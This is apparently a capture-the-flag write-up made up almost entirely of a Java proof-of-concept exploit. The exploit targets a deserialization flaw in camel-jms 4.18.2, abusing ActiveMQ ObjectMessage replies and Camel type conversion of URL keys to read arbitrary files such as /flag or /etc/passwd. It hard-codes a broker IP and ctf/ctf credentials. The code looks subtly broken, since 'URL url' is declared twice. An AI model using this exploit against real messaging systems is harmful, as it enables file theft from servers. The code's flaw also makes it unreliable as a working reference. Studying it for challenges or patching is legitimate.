de5er1umWriteUp — ActiveMQ/Camel JMS

//@hl 3-4
// JmsBinding.extractBodyFromJms — 4.18.2 修复后
if (message instanceof ObjectMessage objectMessage) {
    Object payload = objectMessage.getObject();   // ← 反序列化已发生
    checkDeserializedClass(payload);              // ← 后置检查，阻止不了 readObject 副作用
    ...
}

// JmsBinding.populateMapMessage
for (Map.Entry entry : map.entrySet()) {
    String key = CamelContextHelper.convertTo(context, String.class, entry.getKey());
    mapMessage.setObject(key, entry.getValue());
}

// @add 34-38 @del 40
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;
import jakarta.jms.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.*;
import java.util.Enumeration;
import java.util.HashMap;

/**
 * de5er1um exploit PoC
 *
 * 原理：
 * 1. CVE-2026-40860/42527：camel-jms 4.18.2 对 ObjectMessage 无条件反序列化，
 *    默认 ObjectInputFilter（java.**;javax.**;org.apache.camel.**;!*）允许 java.net.URL
 * 2. 投递顶层 HashMap<URL(file:///path), "x"> 作为 ObjectMessage，并设置 JMSReplyTo
 * 3. 网关消费后（route 仅日志），因带 JMSReplyTo 触发回复
 * 4. 回复时 JmsBinding.populateMapMessage 对 Map key 做 String 类型转换，
 *    Camel TypeConverter 把 URL 经 URL->InputStream->String 链读取 URL 内容
 *    （file:// URL 即任意文件读取），flag 出现在回复 MapMessage 的 key 中
 *
 * 用法：java -cp ... ExploitDe5er1um <broker-url> <file-path>
 * 例：  java -cp ... ExploitDe5er1um http://47.116.47.26:28364 /flag
 */
public class ExploitDe5er1um {

    public static void main(String[] args) throws Exception {
        String brokerUrl = args.length > 0 ? args[0] : "http://47.116.47.26:28364";
        String filePath = args.length > 1 ? args[1] : "/flag";
        // =====
        // 1. 构造 payload：HashMap<URL(file:///path), "x">
        String normalized = filePath.replace("\\", "/");
        if (!normalized.startsWith("/")) {
            normalized = "/" + normalized;
        }
        URL url = new URL("file://" + normalized); 
        // exp command path arg: "C:\\Windows\\win.ini" / "/etc/passwd"
        URL url = new URL("file://" + filePath);

        // =====
        HashMap<Object, Object> map = new HashMap<>();
        map.put(url, "x");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(map);
        }
        byte[] payload = bos.toByteArray();
        System.out.println("[*] payload: " + payload.length + " bytes, url = " + url);

        // 2. 连接 broker（HTTP transport）
        ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
        cf.setUserName("ctf");
        cf.setPassword("ctf");
        try (Connection c = cf.createConnection()) {
            c.start();
            Session s = c.createSession(false, Session.AUTO_ACKNOWLEDGE);

            // 回复队列（唯一命名避免冲突）
            jakarta.jms.Queue replyQ = s.createQueue("flag.exfil." + System.currentTimeMillis() % 1000000);
            System.out.println("[*] reply queue: " + replyQ);

            // 3. 投递 ObjectMessage：content 反射直塞字节（绕过 setObject 信任检查）+ JMSReplyTo
            ActiveMQObjectMessage om = (ActiveMQObjectMessage) s.createObjectMessage();
            Field f = null;
            Class<?> cc = org.apache.activemq.command.ActiveMQMessage.class;
            while (cc != null && f == null) {
                try { f = cc.getDeclaredField("content"); } catch (NoSuchFieldException e) {}
                cc = cc.getSuperclass();
            }
            f.setAccessible(true);
            f.set(om, new ByteSequence(payload));
            om.setJMSReplyTo(replyQ);
            MessageProducer p = s.createProducer(s.createQueue("gateway.inbound"));
            p.send(om);
            System.out.println("[*] ObjectMessage sent to gateway.inbound with JMSReplyTo");

            // 4. 消费回复（网关会把文件内容放在 MapMessage 的 key 里）
            MessageConsumer mc = s.createConsumer(replyQ);
            Message m = mc.receive(20000);
            if (m == null) {
                System.out.println("[-] no reply in 20s (file not found or unreachable)");
                return;
            }
            System.out.println("[+] REPLY: " + m.getClass().getSimpleName());
            if (m instanceof MapMessage) {
                MapMessage mm = (MapMessage) m;
                Enumeration<?> en = mm.getMapNames();
                while (en.hasMoreElements()) {
                    String k = (String) en.nextElement();
                    String v = String.valueOf(mm.getObject(k));
                    System.out.println("[+] map key = " + k);
                    System.out.println("[+] map value = " + v);
                }
            } else if (m instanceof TextMessage) {
                System.out.println("[+] text = " + ((TextMessage) m).getText());
            }
        }
    }
}